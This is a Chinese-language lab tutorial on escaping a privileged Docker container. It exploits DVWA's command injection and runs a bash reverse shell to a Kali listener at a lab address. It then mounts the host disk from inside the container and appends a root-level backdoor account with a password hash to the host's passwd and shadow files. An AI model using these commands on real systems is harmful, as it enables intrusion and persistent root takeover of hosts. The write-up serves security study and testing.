docker特权模式下逃逸

一.什么是docker逃逸

Docker逃逸是容器安全领域最严重的风险之一,指攻击者在控制容器后,突破隔离机制,进而获取宿主机操作系统控制权的攻击行为。

1.1利用不安全配置

危险的"特权模式" :使用 --privileged 启动的容器拥有宿主机root用户的几乎所有能力,攻击者可轻松挂载宿主机文件系统并执行命令。

危险的"挂载操作" :攻击者会寻找敏感挂载点,最典型的是挂载Docker控制套接字/var/run/docker.sock,通过它向宿主机Docker守护进程发指令,创建挂载宿主机根目录的特权容器来实现逃逸。

1.2利用软件漏洞

攻击者利用容器运行时或Linux内核自身的代码缺陷来突破隔离。

典型高危漏洞:历史上出现过多个影响巨大的漏洞,例如2025年曝光的CVE-2025-31133、CVE-2025-52565和CVE-2025-52881,它们都允许攻击者逃逸到宿主机并获得root权限。

攻击方式:攻击者可能通过恶意容器镜像植入漏洞利用代码,一旦该镜像被拉取运行,即可触发漏洞实现逃逸。

1.3利用内核漏洞

由于所有容器共享宿主机的Linux内核,因此任何内核提权漏洞都可能成为逃逸的跳板。攻击者通过在容器内触发漏洞利用,直接攻击宿主机内核,从而获取宿主机root权限

二.环境搭建利用第一种方式进行逃逸

宿主机 攻击机 客户端
10.0.0.6(centos7) 10.0.0.7(kali) 192.168.101.8(Windows)

宿主机为10.0.0.6,在该宿主机安装docker,通过dvwa靶场里面的RCE进行复现,攻击机为kali,在里面跑nc服务进行监听。客户端为个人PC方便进行ssh验证使用

首先将服务器的sshd配置文件进行更改,允许root直接进行登录。通过mobaxterm进行登录。

centos7机器安装docker

bash 复制代码
# step 1: 安装必要的一些系统工具
sudo yum install -y yum-utils
# Step 2: 添加软件源信息
yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
# Step 3: 安装Docker
sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
# Step 4: 开启Docker服务
sudo service docker start

配置docker镜像加速

bash 复制代码
[root@web_server ~]$mkdir -p /etc/docker
[root@web_server ~]$cat > /etc/docker/daemon.json <<EOF
{
"registry-mirrors": [
    "https://docker.m.daocloud.io", 
    "https://hub.rat.dev/"
  ]
}
EOF
[root@web_server ~]$systemctl daemon-reload
#查看docker服务是否起来了
[root@web_server ~]$systemctl status docker.service

拉取dvwa靶场

bash 复制代码
[root@web_server ~]$docker pull vulnerables/web-dvwa

启动dvwa靶场

bash 复制代码
[root@web_server ~]$docker run -d --privileged -p 8080:80 --name dvwa vulnerables/web-dvwa
#查看docker容器运行情况
[root@web_server ~]$docker ps -a 

进行访问网站发现有一个是可以RCE的

三.通过RCE进行上传code码

正常情况

写好code码通过RCE进行传递

bash 复制代码
bash -i >& /dev/tcp/10.0.0.7/4444 0>&1

kali这边进行监听

复制代码
┌──(root㉿kali)-[~]
└─# nc -lvp 4444

正常来说可以这样进行提交,但是这个kali这边并没有进行反弹,因为submit是一个表单提交,会导致将bash的命令进行编码,所以导致kali这边反弹不成功,因此将该code码创建为一个sh文件,在客户端这边开启一个http.server的服务,使得其使用wegt进行下载该sh文件。客户端开启http服务

在RCE哪里使用该命令

bash 复制代码
8.8.8.8 | wget http://192.168.101.8:8000/code.sh

检验是否上传上去了

bash 复制代码
8.8.8.8 | ls

发现并没有code.sh这个文件,那是因为他可能没有wget这个命令,因为大部分容器都是及其精简的不会对其打入很多可用的命令。因此我就使用docker cp复制的方式将该code.sh的文件从宿主机复制到该容器当中。

bash 复制代码
[root@web_server ~]$docker cp code.sh dvwa:/var/www/html/vulnerabilities/exec

在进一步通过RCE查看是否有code.sh这个文件存在了

发现已经存在了,因此我们通过kali开启监听进行反连

查看kali这边发现已经反连成功了

但是这个反连得到的用户为www-data并不是root权限,所以还有可能要做权限提升。由于我们的复现环境只复现docker逃逸,不涉及提权,因此使用简单的办法来进行逃逸。一般来说服务是使用专门的用户进行运行的,所以不使用root运行服务是正常的。

四.进行逃逸

因此进入该容器,直接在容器里面进行运行这个code,然后通过kali进行反连。

bash 复制代码
#进入容器
[root@web_server ~]$docker exec -it dvwa bash
root@da3968b4aecc:/# cd var/www/html/vulnerabilities/exec
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# ls
code.sh  help  index.php  source
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# bash code.sh
bash 复制代码
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# fdisk -l
Disk /dev/nvme0n1: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x4aa480c8

Device         Boot   Start      End  Sectors Size Id Type
/dev/nvme0n1p1 *       2048  2099199  2097152   1G 83 Linux
/dev/nvme0n1p2      2099200 41943039 39843840  19G 8e Linux LVM


Disk /dev/nvme0n2: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x73eb995c

Device         Boot    Start      End  Sectors Size Id Type
/dev/nvme0n2p1          2048 10487807 10485760   5G 83 Linux
/dev/nvme0n2p2      10487808 20973567 10485760   5G 83 Linux


Disk /dev/dm-0: 17 GiB, 18249416704 bytes, 35643392 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-1: 2 GiB, 2147483648 bytes, 4194304 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# cd /ro
cd /ro
bash: cd: /ro: No such file or directory
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# cd /
root@da3968b4aecc:/# mkdir taoyi
root@da3968b4aecc:/# mount /dev/dm-0 taoyi
root@da3968b4aecc:/# ls -l /taoyi/
#这个下面就是宿主机的全部文件了
total 24
drwxr-xr-x   3 root root   19 Nov 13 03:40 apps
lrwxrwxrwx.  1 root root    7 Jun 22  2021 bin -> usr/bin
drwxr-xr-x.  2 root root    6 Aug 10  2024 boot
drwxr-xr-x.  2 root root    6 Aug 10  2024 dev
drwxr-xr-x. 90 root root 8192 Apr 15 02:16 etc
drwxr-xr-x.  4 root root   27 Apr 14 15:16 home
lrwxrwxrwx.  1 root root    7 Jun 22  2021 lib -> usr/lib
lrwxrwxrwx.  1 root root    9 Jun 22  2021 lib64 -> usr/lib64
drwxr-xr-x.  2 root root    6 Jun 22  2021 media
drwxr-xr-x.  2 root root    6 Jun 22  2021 mnt
drwxr-xr-x.  4 root root   35 Mar 11 01:11 opt
drwxr-xr-x.  2 root root    6 Aug 10  2024 proc
dr-xr-x---.  5 root root 4096 Apr 15 03:04 root
drwxr-xr-x.  2 root root    6 Aug 10  2024 run
lrwxrwxrwx.  1 root root    8 Jun 22  2021 sbin -> usr/sbin
drwxr-xr-x.  2 root root    6 Jun 22  2021 srv
drwxr-xr-x.  2 root root    6 Aug 10  2024 sys
drwxrwxrwt. 12 root root 4096 Apr 15 03:56 tmp
drwxr-xr-x. 12 root root  144 Aug 10  2024 usr
drwxr-xr-x. 21 root root 4096 Mar 12 14:25 var
#写入用户名和密码
root@da3968b4aecc:/# echo "LLL:x:0:0::/root:/bin/bash" >> /taoyi/etc/passwd
root@da3968b4aecc:/# echo "LLL:\$6\$CK3xjRcCEIN4Zpne\$FNgZet6mHzf9jyZ3y/QEL7SH.qdDwzuuC99pFref6JGqGEK4wwRERyMCWESeIVdFT/pVK3/1/MAbvtkAm4.sf1:20557::::::" >>/taoyi/etc/shadow
root@da3968b4aecc:/# echo "lll:x:1000:1000::/home/lll:/bin/bash" >> /taoyi/etc/passwd
root@da3968b4aecc:/# echo "lll:\$6\$HxPvHzJDzIG4GQXe\$Qkh1UePFGUpju4NPQgMgUplAKalPiWp6.15Ig6bml2NzSflfxTAMYQG.I7L5xRjwLO2J5wCjkwVlXYu9I.cmM1:20557:0:99999:7:::" >>/taoyi/etc/shadow
root@da3968b4aecc:/#

首先通过普通用户进行登录,然后再通过su进行切换用户到LLL,发现已经逃逸到了宿主机了

五、总结

1.在进行docker逃逸的时候要保证,其管理员在运行容器的时候使用到了**--privileged**特权进行启动,其次要在容器中传递shell代码,因为容器里面不会打入很多工具,可能连常用的命令vim,wget,curl,等都没有。所以这个码不一定那么好上传上去。

2.其次即使这个码上传上去了,可能获取到的只是一个普通的账号,在容器里面并不是用root启动的,因此这个时候又得要使用到提权,将权限提权到root。

3.如果是root权限的话进行反连通过挂载磁盘的方式,将宿主机的根文件系统挂在到容器里面,然后通过在密码文件passwd 和密码文件里面shadow写入用户和密码,因为如果直接用写入的用户将其的ID改为0的时候,在连接的时候会进行拒绝,所以就需要写入两个用户,一个为普通用户一个为超级管理员,用普通用户进行登录,然后通过su进行切换,即可拿到该宿主机的权限。

相关推荐
mseaspring2 小时前
一款用于监控跨多台主机 Docker 容器的实时终端
运维·docker·容器
NineData3 小时前
NineData 亮相香港国际创科展 InnoEX 2026,以 AI 加速布局全球市场
运维·数据库·人工智能·ninedata·新闻资讯·玖章算术
heimeiyingwang4 小时前
【架构实战】Kubernetes日志收集:EFK/Loki架构
容器·架构·kubernetes
RisunJan4 小时前
Linux命令-ngrep(方便的数据包匹配和显示工具)
linux·运维·服务器
热爱Liunx的丘丘人4 小时前
Ansible-doc及常用模块
linux·运维·服务器·ansible
tianyuanwo5 小时前
OS/DevOps程序员切入Harness Engineering的入门与进阶指南
运维·devops·harness
飞飞传输5 小时前
国产化FTP替代方案哪个好?选对平台让传输更安全高效
大数据·运维·安全
一生了无挂5 小时前
自己编译RustDesk,并将自建ID服务器和key信息写入客户端
运维·服务器
王飞飞不会飞6 小时前
Mac 安装Hermes Agent 过程记录
运维·深度学习·机器学习